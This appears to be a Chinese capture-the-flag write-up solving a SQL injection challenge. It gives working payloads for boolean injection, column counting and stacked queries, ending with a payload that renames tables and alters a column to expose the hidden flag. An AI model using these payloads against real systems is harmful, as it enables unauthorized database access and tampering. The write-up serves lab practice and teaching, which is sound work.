先打开环境,
试试基本的注入 1' or 1=1#
看起来没有什么能看得懂的!
那就来判断一下字段数把!
先用这个试试 1' order by 2;#
再来这个 1' order by 3;#
到第3列报错,说明只显示两列。
看到上面看到有一个“1919810931114514”和“words”这两个表,分别进去看看有什么
分别输入
0'; show columns from `words`;#
0'; show columns from `1919810931114514`;#
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为
select id,data from words where id=
接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:
1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
后两句是用来查结果的。
此时再用1’ or 1=1;# 就可以看到flag了!!!